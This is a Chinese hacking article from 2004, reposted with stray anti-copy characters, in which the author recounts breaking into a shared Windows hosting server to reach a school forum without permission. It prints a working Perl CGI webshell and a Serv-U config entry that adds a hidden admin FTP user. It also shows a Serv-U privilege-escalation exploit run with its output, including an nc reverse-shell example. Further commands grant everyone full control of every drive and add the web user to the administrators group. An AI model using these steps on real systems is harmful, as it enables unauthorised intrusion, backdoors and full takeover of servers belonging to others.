剑走偏锋——灵巧的旁注攻击 1 ?3 W1 s7 K3 q; k/ Z
本文作者:angel; j' T( z8 c. w
文章性质:原创' p+ v) M: l3 z8 f% q: l
发布日期:2004-11-09
; x8 n) b& n* j* S注意:* }3 I( z: f+ y
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
9 ~3 d) N$ A5 }7 {$ Q本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。7 c( s8 t: `7 N/ ]
- s, m5 ^/ q, j 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 % g; U0 I& ~, q2 }! y
4 I% L8 s6 w) C# j3 Z
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ' ]0 }& g9 t' f* P
) | k4 r z [. I6 N/ s3 ?* B, g
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 2 l0 i- B | E+ [, _! E3 v/ ^
. D* p3 d0 y' C h 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
7 S1 i' Q+ e3 p: {1 F) V" h: ?* z3 o: P3 w- T
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
! N/ R# k l8 [3 R1 i! F
, X' g, T: M4 E {/ Y& X- j 没有目的的跳转目录着……
+ X, M3 f3 q/ ?7 b; L5 Q: g6 H) Q! p1 d) a: r9 G
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 7 S# a2 @% G. n- p
8 ~! B' ]& e: f3 C+ E2 ] 结束了吗?不,我试着 FTP 一下: & v& P- r8 a0 r- p
% r/ P, Z4 u' g% G+ Z
Microsoft Windows 2000 [Version 5.00.2195]3 v4 m! _2 d( `: i: A% p
(C) 版权所有 1985-2000 Microsoft Corp.
9 O2 K+ ] k% K+ ~, t0 ^, n# [3 l# d9 h) A. L
C:\Documents and Settings\Administrator>ftp www.school.com
3 Q- q% l0 _. K# GConnected to www. school.com.
/ T* S3 C- l9 S; ~# ~$ j220 Welcome to FTP Server... 4 Q9 u/ M: o! G n. u3 C
User (www.bjtrq.com:(none)): # Z" l4 u6 B, U6 y2 u m4 V- ]7 \
331 User name okay, need password.
; c6 M" ]) Q {" b; JPassword:
+ Q% ^/ R6 c" y4 u( `530 Not logged in.
- R6 R/ W4 p. |4 iLogin failed. 4 n( O5 g2 ]7 r* c( [
ftp> bye
3 w2 R2 j/ P. p2 D9 C$ Q9 B221 Goodbye!
) G+ A0 y' x: f8 b+ L
8 r6 |5 {$ C! z }- J
- o7 z3 z% A2 D1 L+ O; n# s$ g 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
3 v' f3 M& q4 d* x1 M6 y) w' q1 _, Y1 P
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 , }: \, {+ L6 M
% {2 _ d! w- I9 \. {
Application Data+ u" d; U, `4 t! u( k& k
Documents
( R% ~3 I, R' x& S$ w9 ZDRM
0 T% O, d% T2 X, h9 ^( P; YFavorites: m9 d0 Y5 @+ n. l3 k2 U& W
Templates
% B1 D% T0 d' }. o, [「开始」菜单
8 I. H a) [; V6 u; d8 k0 F$ l6 P, v桌面
: m8 B; J8 W9 P! t3 y
G6 r9 u+ X0 M: v# y
3 J% W5 x! D' Y 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
: o+ W$ d+ l5 Y* t. `3 r5 [; h% _$ p7 H4 C1 Y) Q: Q3 ?4 X- }
ActiveState ActivePerl 5.8% |) e' F& \5 r8 F2 Y+ G
Administrative Tools
& d. [) J2 @' m; J! xDeerfield.com+ S7 R5 | V3 l6 Q0 N( E& o
DTemp$ h, O* x+ o% P% U
IPSentry
4 R; O* K; Z% vMBM 5
( x5 |! v: P7 d& xNetMeter, G& U9 W# b" ^1 }
Network ICE7 s7 }# u% M+ e$ F& |$ l. I" c
Persits Software AspEmail
) `% h2 M% `6 `Persits Software AspJpeg
9 f# `% E7 G4 f7 s# W) s+ zServ-U FTP Server
2 G! P2 M* t% v% ^! gSymantec Client Security$ Z; p& B2 n# X, \" l
Windows 优化大师
3 P7 T. l# k% E# u( n j0 w- S7 qWinRAR. l/ s% o9 ^ d# |# K& D% R: T
启动+ }. ~+ {( O# h! M; e: U( ^: p1 s
管理工具
0 O% i8 ?+ t" s# B- `9 H9 h附件
8 D* {+ u# ]7 v& s+ H + f7 G7 }0 O) F2 f" c8 g+ ]5 }% q
; F' f5 C. a/ Q
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
0 P( r( G8 ^* h4 I( Z$ u' _% H. D! F0 L3 c$ m
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
' E; B6 J; e/ a
; u0 G5 M2 m4 c3 ]4 l; p8 aUser281=angel|1|0
0 r9 |! u6 g7 c 3 }, B6 z) C/ g4 D! A
" F" P6 @0 g9 G4 t& U# u( J/ C
然后加上
; o i6 @9 h2 }) G3 R1 k8 z4 f$ K2 A5 z" n4 v
[USER=angel|1], U" [' s; M5 B' ~% d* F1 k) k
Password=ng98F85379EA68DBF97BAADCA99B69B805/ |- L/ c0 |, Z4 r# x: h" Y
HomeDir=D:\websites
3 a8 [4 I9 K+ r' K. `7 ^RelPaths=1
4 X- R5 b4 H1 K& {# `9 _& F7 \TimeOut=600 v7 }& u; ]3 C2 O8 e% t- Q! L
Maintenance=System; I; u1 \8 E2 `- U
Access1=D:\websites|RWAMELCDP3 \# x1 L* }( Y- X
SKEYValues=
& M; v' Y0 K9 ^5 O& R
# {4 K. F& ]( K% |' U0 ]9 i" c& b$ Z* ~( u- ^! O; c' [& g, V _; E
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
# y; w5 k3 j8 ~1 }+ w, q. N
' F' [8 }% B/ R 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
6 E! m# m3 [6 R- a7 N0 S0 W% O4 n+ k- D2 G* i9 M1 b! y! `
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
6 N: q% d* i7 C2 \# i, r: S
9 J S9 U7 d3 E7 p 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 9 a# I8 j# p( s V% m" S9 f2 [
% ^0 \$ \: d3 {* A1 I#!/usr/bin/perl
. D. o6 z6 k8 f6 R0 k$ Jbinmode(STDOUT);
0 u! C" G% p% \syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);+ i( r$ E5 ~% [2 O/ f
$_ = $ENV{QUERY_STRING};# H4 d8 O6 a1 V H% S$ z
s/%20/ /ig;8 C$ e; ^% M, z* D$ b
s/%2f/\//ig;" ]) @9 ?1 W h% s, L
$execthis = $_;% ~+ f+ z( b* Z/ c: ~ ]
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);) o1 k" ?3 \% W" {: L4 t0 c
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
/ b$ T) G: y1 F$ nsystem($execthis);
: L$ K2 Y, z: E* i. H6 ]$ rsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
; B& W: x& }8 y. r: T0 Iclose(STDERR);
7 {0 d0 g: f7 u( F5 Kclose(STDOUT);7 C D) h0 F* ~: C! I+ ?5 z2 ?
exit;
+ G4 M+ ^$ v0 u6 V5 b, ~( K
% o: Z3 ^# l) M7 x6 J5 R$ T; a3 h% m; _
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
7 x* P9 r. |: h4 w! v |4 h! G* l S- P, `
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 0 h5 m: o( Z: j6 h! |# K$ A. L
5 x7 `: b9 G; g' h; R4 k" u& N
http://anyhost//cmd.pl?d:\user\bin\su.exe ( l9 I$ F% |. h* |$ _7 P
: a7 d5 J5 H9 k# z# D0 V' \
: u" e- A9 X& f% w/ p' \, d 返回: S' A6 K0 Y# ^. }! v( b
8 L( Z3 u: @9 _; G1 a
Serv-u >3.x Local Exploit by xiaolu - G! a/ W, f1 G) O
0 r8 o F6 A: q. r1 c& l: Z, A7 HUSAGE: serv-u.exe "command" : M- }9 x) j# t3 J3 ]9 v8 y& @
6 C" \- V' s, f, B% ~9 D: l
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 3 \" D9 [ w' }. e
* M( q' X& j2 X7 r/ Y* T7 X% C
: K- ]9 i5 `8 _# ~ 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
$ l. J6 I' N" z) G3 u% W: r: J1 @% q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" , a2 J8 x: v: M: O7 t7 C
5 J! P7 r: G3 ^/ [! u
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
8 O! Z( ]! ^ y" x( R& L" t# {7 h0 l1 d; k: Z8 M" Z% t$ x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
3 `6 ?* X& y! O7 m
, r y# x4 r" M% H" A; O' Bhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
; ]3 A/ N) g- R, y% i$ p6 T y. {1 f. y
, k6 _6 B5 A# z. |
& E n: D7 f: X/ K7 e 返回下面的信息,就表示成功了!!!
1 f5 ?0 |3 s/ F5 n6 {" F$ Y- r0 L6 c% v- l
Serv-u >3.x Local Exploit by xiaolu
R2 K. K' ~+ A1 O
: d, b* [: H c; G1 U# Q<220 Serv-U FTP Server v5.2 for WinSock ready...
' X. H) I! V- p$ v* m# E2 K% l; l6 G
>USER LocalAdministrator 6 q) f, L' k) Y4 f
6 k; z2 s& U k<331 User name okay, need password. 0 Y7 }* f1 `1 c. i! N5 m' j6 \
% j# \2 a" X6 j x, ~ |2 W9 |
******************************************************
0 ^! A" W6 N0 ~ i4 F" ]
1 Y S3 Q- G; u" _" h>PASS #l@$ak#.lk;0@P # A3 P% l; j' s
7 M! w; S9 [# { r! R4 _<230 User logged in, proceed. 2 {- Z1 j% e6 {: I' S
9 }$ R) V/ N% g/ d* Z: _" ?. A8 n
****************************************************** ) a: a5 C" n% E& _+ K
7 L( n0 ^) R' R' w% Q>SITE MAINTENANCE * S3 D# C% u% ]# s
+ F% E2 v" [" O" z( u& @" c/ \******************************************************
# ~$ X0 P7 h5 J) j& G& b8 s0 c/ T) o+ d5 Y
[+] Creating New Domain... ' P9 O8 x# U j3 X6 Q# D; r+ p8 Z
7 k' z9 [6 `& V, F3 X( N<200-DomainID=2 , L8 y# o# W% A5 P4 A2 k9 Y1 u
6 Y5 A$ Q% a6 \
<220 Domain settings saved
. b, b+ a/ i- ^. s/ H
9 r1 c9 ^! R8 e4 r****************************************************** * u D: j; ]5 n( B' ?" g7 F6 G! ?7 z! \
- H7 W8 ]1 Z' k7 f% {
[+] Domain xl:2 Created
; l$ \+ r3 D: c* {2 \& L5 C8 E8 M
" i3 I5 ~' A+ G: P[+] Creating Evil User
, Q$ I. g0 v+ d' L: d$ [
5 k% O5 u; V7 g2 _) w( ], i<200-User=xl
3 H! i! z+ D$ d
6 W; _. ?( l" L1 U200 User settings saved
3 ?( N5 Q7 H3 R
* L6 V; z( V/ b9 J& i" [****************************************************** 5 f, ^# f9 p8 z: g' }: }
H9 o A4 S$ o2 Y) A' D
[+] Now Exploiting... + u3 }6 I& H4 t1 {' i: m9 D7 w* n
7 a. [) z6 N+ ?2 Z% ?
>USER xl . p4 K# @" ]3 j
& F! i) J: V5 r; x; z1 e4 F
<331 User name okay, need password.
' o9 T& r: O5 h% c! A) \% Q
; Q/ M( ?+ M6 l* x; R1 d, [******************************************************
0 B3 a/ ?& F; J4 B+ ]3 a* |& h: n* v ?
>PASS 111111
3 O$ E" L" U1 a) d( r
8 F y7 Z# Z: m; P) d; ?% ~6 F% e<230 User logged in, proceed.
2 v! g1 Z3 S$ \; Q
" \1 X8 F4 [# S i9 S****************************************************** ! m2 e% C+ x% _3 T( Z, J/ ^
$ C/ W, W# K$ K# c
[+] Now Executing: cacls.exe c: /E /T /G everyone:F ) b* h: M9 n5 C/ m. y
, M0 b! k; O7 N3 S5 G
<220 Domain deleted 9 c* g6 J$ P! B8 d' ^
7 }! z" L! S1 X) l7 V4 d
****************************************************** 0 S( u% w! W( A" J3 y' w" V
& h7 V6 X" U1 F
) j$ d; V: n8 R% p+ \0 C3 ] 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
6 }* r" C3 N9 @# \/ r8 C
3 B* W& @5 y% ~; h0 N% shttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
9 s5 h6 h! ^9 _+ f. s2 i ; f4 ]6 w& Q$ A5 ~% i
6 `( a ]9 s8 {! | 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 7 ]8 j! A7 b0 {' K# M
6 r- Q$ Z1 N1 p+ y 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
; g/ `. k2 W1 C2 o, J
, F2 k$ a( e) [- ~ % }- D; [( [- R; r
|